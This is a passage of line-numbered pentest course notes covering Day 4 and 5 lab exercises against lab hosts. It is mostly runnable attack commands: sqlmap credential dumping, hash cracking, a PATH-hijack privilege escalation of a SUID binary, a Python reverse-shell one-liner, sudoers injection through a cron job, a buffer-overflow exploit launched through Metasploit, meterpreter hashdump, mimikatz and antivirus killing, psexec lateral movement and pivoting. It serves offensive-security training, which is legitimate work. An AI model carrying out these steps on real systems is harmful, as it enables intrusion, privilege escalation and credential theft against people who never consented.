python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a --dbs
1150
1151
1152
python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D mysql --tables
1153
1154
python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D mysql -T user --columns
1155
1156
python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D mysql -T user -C User,Password --dump
1157
1158
python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D phpmyadmin --tables
1159
1160
python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D seth
1161
1162
python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D seth -T users --columns
1163
1164
python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D seth -T users -C id,user,pass --dump
1165
1166
cat /home/infosecaddicts/.sqlmap/output/10.0.0.7/dump/seth/users.csv
1167
1168
cd toolz/
1169
1170
1171
1172
We can look this password hash up on Crackstation.net https://crackstation.net/ - ok that didn't work. Maybe it's in Base64. Let's try to decode it.
1173
1174
1175
1176
Decoding the base64 value gives us the actual hash. (Note I add a “=” to the string so that base64 can properly decode it)
1177
1178
echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=" | base64 -d
1179
1180
echo "c6d6bd7ebf806f43c76acc3681703b81" > hash.txt
1181
1182
1183
1184
1185
We can look up this password hash "c6d6bd7ebf806f43c76acc3681703b81" on Crackstation.net https://crackstation.net/
1186
1187
Ok - that worked. The password is "omega", but if you want to do it with hashcat we can do the following steps:
1188
1189
1190
sudo apt install -y nvidia-opencl-icd-340 libxnvctrl-dev nvidia-opencl-dev libgmp3-dev libgmp10-doc opencl-headers
1191
1192
wget http://registrationcenter-download.intel.com/akdlm/irc_nas/9019/opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
1193
1194
tar -zxvf opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
1195
1196
sudo ./opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25/install.sh
1197
1198
hashcat --benchmark
1199
1200
1201
hashcat -m 0 -a 0 hash.txt ~/toolz/list.txt
1202
1203
1204
1205
1206
Ok, now let's log into the machine.
1207
1208
1209
ssh 10.0.0.7 -p 777 -lramses
1210
1211
cat /etc/issue
1212
1213
find / -user root -perm -4000 -print 2>/dev/null | grep -v bin | grep -v usr
1214
1215
cd /var/www/backup/
1216
1217
ls -l procwatch
1218
1219
1220
1221
Figure out how to root this box!!!!!!!!!!!!!!!!
1222
1223
whoami
1224
ln -s /bin/ls ps
1225
export PATH=`pwd`:${PATH}
1226
./procwatch
1227
ln -snf /bin/sh ps
1228
./procwatch
1229
whoami
1230
cat /root/proof.txt
1231
1232
1233
.......hahahahah rooted and polluted!!!!!!!!!
1234
1235
So now let's go attack .14 with this box.
1236
1237
nc -l -v -p 443
1238
1239
1240
...from the webshell on 10.0.0.14 (http://10.0.0.14/test/cmd.php)
1241
1242
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.7",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1243
1244
1245
This will give you a user level shell on 10.0.0.14
1246
1247
dpkg -l chkrootkit
1248
ls -al /etc/sudoers
1249
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
1250
1251
1252
....wait for it.....wait for it (a few hours possibly since it is cron.daily...)
1253
sudo su
1254
1255
....now you are root
1256
1257
1258
####################################
1259
# Finally, let's exploit something #
1260
####################################
1261
1262
#####################################
1263
# Quick Stack Based Buffer Overflow #
1264
#####################################
1265
 
1266
- You can download everything you need for this exercise (except netcat) from the link below
1267-
https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip
1267+
https://infosecaddictsfiles.blob.core.windows.net/files/ExploitLab.zip
1268
 
1269
- Extract this zip file to your Desktop
1270
 
1271
- Go to folder C:\Users\Workshop\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
1272
 
1273
- Open a new command prompt and type:
1274
nc localhost 9999
1275
 
1276
- In the new command prompt window where you ran nc type:
1277
HELP
1278
 
1279
- Go to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts
1280
- Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
1281
 
1282
- Now double-click on 1-simplefuzzer.py
1283
- You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
1284
 
1285
 
1286
- Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
1287
 
1288
- Now go to folder C:\Users\Workshop\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
1289
 
1290
- Go back to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
1291
 
1292
- Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
1293
 
1294
- Now isolate the crash by restarting your debugger and running script 2-3000chars.py
1295
 
1296
- Calculate the distance to EIP by running script 3-3000chars.py
1297
- This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
1298
 
1299
4-count-chars-to-EIP.py
1300
- In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
1301
- so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
1302
 
1303
5-2006char-eip-check.py
1304
- In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
1305
 
1306
6-jmp-esp.py
1307
- In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
1308
 
1309
7-first-exploit
1310
- In this script we actually do the stack overflow and launch a bind shell on port 4444
1311
 
1312
8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
1313
 
1314
 
1315
------------------------------
1316
 
1317
cd /home/strategicsec/toolz/metasploit/modules/exploits/windows/misc
1318
 
1319
vi vulnserv.rb    (paste the code into this file)
1320
 
1321
 
1322
 
1323
cd ~/toolz/metasploit
1324
 
1325
./msfconsole
1326
 
1327
 
1328
 
1329
use exploit/windows/misc/vulnserv
1330
set PAYLOAD windows/meterpreter/bind_tcp
1331
set RHOST 10.0.0.10
1332
set RPORT 9999
1333
exploit
1334
1335
1336
1337
1338
1339
1340
********************************** Figure out who and where you are **********************************
1341
 
1342
meterpreter> sysinfo
1343
 
1344
 
1345
meterpreter> getuid
1346
 
1347
 
1348
meterpreter> ipconfig
1349
 
1350
 
1351
meterpreter> run post/windows/gather/checkvm
1352
 
1353
 
1354
meterpreter> run get_local_subnets
1355
 
1356
 
1357
 
1358
********************************** Escalate privileges and get hashes **********************************
1359
 
1360
 
1361
meterpreter> use priv
1362
 
1363
 
1364
1365
meterpreter > getsystem
1366
...got system (via technique 1).
1367
1368
meterpreter > getuid
1369
Server username: NT AUTHORITY\SYSTEM
1370
 
1371
--------------------------------------------------------
1372
 
1373
meterpreter> run killav
1374
 
1375
meterpreter> run post/windows/gather/hashdump
1376
	
1377
	Got the following admin hash:
1378
	Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363:::
1379
1380
meterpreter> run post/windows/gather/credentials/credential_collector
1381
 
1382
meterpreter > load mimikatz
1383
 
1384
meterpreter > kerberos
1385
1386
	This should give me the administrative password:
1387
	)K5?Jocb(Yx 
1388
1389
 
1390
********************************** Enumerate the host you are on **********************************
1391
 
1392
meterpreter> run winenum
1393
 
1394
meterpreter > run post/windows/gather/enum_applications
1395
 
1396
meterpreter > run post/windows/gather/enum_logged_on_users
1397
 
1398
meterpreter > run post/windows/gather/usb_history
1399
 
1400
meterpreter > run post/windows/gather/enum_shares
1401
 
1402
meterpreter > run post/windows/gather/enum_snmp
1403
 
1404
meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
1405
 
1406
 
1407
********************************** Get out of Meterpreter **********************************
1408
 
1409
meterpreter> background
1410
1411
msf exploit(savant_31_overflow) > back
1412
1413
msf>
1414
1415
 
1416
 
1417
 
1418
********************************** Lateral Movement *******************************
1419
 
1420
 
1421
Now we can run the PSEXEC exploit.
1422
1423
-- Option 1:
1424
use exploit/windows/smb/psexec
1425
 
1426
set SMBUser Administrator
1427
 
1428
set SMBPass )K5?Jocb(Yx
1429
 
1430
set RHOST 10.0.0.15
1431
 
1432
set payload windows/meterpreter/bind_tcp
1433
 
1434
set LPORT 2345
1435
 
1436
exploit
1437
 
1438
********************************** Get out of Meterpreter **********************************
1439
 
1440
meterpreter> background
1441
1442
msf exploit(psexec) >back
1443
1444
msf>
1445
1446
**********************************  
1447
 
1448
-- Option 2:
1449
use exploit/windows/smb/psexec
1450
 
1451
set SMBUser Administrator
1452
 
1453
set SMBPass 6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363
1454
 
1455
set payload windows/meterpreter/bind_tcp
1456
 
1457
set RHOST 10.0.0.15                      
1458
 
1459
set LPORT 5678
1460
 
1461
exploit
1462
1463
1464
1465
********************************** Set up your Pivot **********************************
1466
 
1467
meterpreter > background
1468
                                                        <-- background the session
1469
        You want to get back to this prompt:
1470
        msf exploit(handler) > back                     <--- you need to get to main msf> prompt
1471
 
1472
 
1473
 
1474
        sessions -l                                     <--find a session you want to pivot through (note the IP and session number)
1475
       
1476
        Now set up Pivot with a route add
1477
        ---------------------------------
1478
 
1479
route print												<--- should be blank
1480
 
1481
route add 10.0.0.15 255.255.255.0 1                       <-- Use correct session id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter)
1482
 
1483
 
1484
route print                                             <----- verify new route
1485
 
1486
******************************Scan through your Pivot ******************************
1487
 
1488
use auxiliary/scanner/portscan/tcp                      <-- Run aux modules through your pivot
1489
 
1490
set THREADS 10
1491
 
1492
set RHOSTS 10.0.0.0/24             <-- Keep changing this IP and re-running the scan until you find something you want to attack
1493
 
1494
set PORTS 445
1495
 
1496
run
1497
1498
1499
####################################
1500
# Socks Tunneling with Proxychains #
1501
####################################
1502
--- Open a duplicate putty session to your Ubuntu host
1503
 
1504
sudo apt install -y proxychains
1505
    infosecaddicts
1506
 
1507
sudo vi /etc/proxychains.conf                           <--- Make sure that last line of the file is: socks4  127.0.0.1 1080
1508
     infosecaddicts
1509
 
1510
        Comment out the proxy_dns, change the 9050 (tor port) to the metasploit socks proxy port (1080) and save it.
1511
        socks4  127.0.0.1 1080
1512
 
1513
***************************Set up a Socks Proxy through your Pivot *************************
1514
 
1515
 
1516
use auxiliary/server/socks4a
1517
 
1518
set SRVHOST 127.0.0.1
1519
 
1520
set SRVPORT 1080
1521
 
1522
run
1523
 
1524
        --- Go back to your other putty session with the meterpreter shell
1525
cd ~
1526
 
1527
proxychains nmap -sT -PN -vv -sV --script=smb-os-discovery.nse -p 445 10.0.0.0/24          <--- This is going to be really slow
1528
 
1529
proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,1433,1521,3306,3389,8080,10000 10.0.0/24           <--- This is going to be really slow
1530
 
1531
 
1532
        ---close the duplicate putty session to your Ubuntu host
1533
1534
1535
1536
1537
********************************** Begin Day 4 Homework Part 1 **********************************
1538
NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
1539
1540
You must take screenshots of you performing all of the scanning tasks that we have done so far today
1541
1542
You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-Day4.docx' (ex: Joseph-McCray-CyberWar-Day3.docx).
1543
1544
You must spell you name EXACTLY as you want it spelled on your class certificate.
1545
1546
IMPORTANT NOTE:
1547
Your homework must be submitted via email to both (joe@strategicsec.com) by Sunday May 21st at midnight EST.
1548
1549
********************************** End Day 4 Homework Part 1 **********************************
1550
1551
1552
************************ Class Challenge ************************
1553
 
1554
Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
1555
 
1556
Here are some sample web app penetration test reports from other companies that you can look at:
1557-
https://s3.amazonaws.com/infosecaddictsfiles/WebAppSampleReports.zip
1557+
https://infosecaddictsfiles.blob.core.windows.net/files/WebAppSampleReports.zip
1558
 
1559
I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
1560
1561
1562
1563
1564
1565
#########
1566
# Day 5 #
1567
#########
1568
1569
Today you finally get the chance to take a step into the world of penetration testing.
1570
1571
1572
Day 5 Task 1
1573
We'll start by having your do a job interview for the position of junior penetration tester. Here are the questions:
1574
https://goo.gl/forms/l2cMNg1F50kLQsHG2
1575
1576
1577
1578
Day 5 Task 2
1579
Create an OSINT report on the retail company TARGET. You'll all work together on this and put together as thorough of a report as possible. 
1580
You'll each be given access to the Googele Drive where all of the resources to complete this task are located.
1581
1582
1583
1584
1585
Day 5 Task 3
1586
Use nmap to map the target network (10.0.0.0/24). 
1587
1588
Task 3a) Identify the number of reachable hosts.
1589
1590
Task 3b) Identify the number of open ports per hosts.
1591
1592
Task 3c) Identify the software versions of each application running on each exposed port on each host in the environment.
1593
1594
Task 3d) Identify the vulnerable services on each host in the target network along with their exploit-db.com ID number
1595
1596
Task 3e) Put all of this information into a spreadsheet in the Google Drive folder
1597
1598
1599
1600
1601
Day 5 Task 4
1602
Use DirBuster to go afer at least 3 servers in the target network (10.0.0.0/24). 
1603
1604
Reference:
1605
http://securityxploded.com/bruteforcing-filenames-on-webservers-using-dirbuster.php
1606
1607
1608
1609
1610
Day 5 Task 5
1611
Populate the findings spreadsheet with as much detail as possible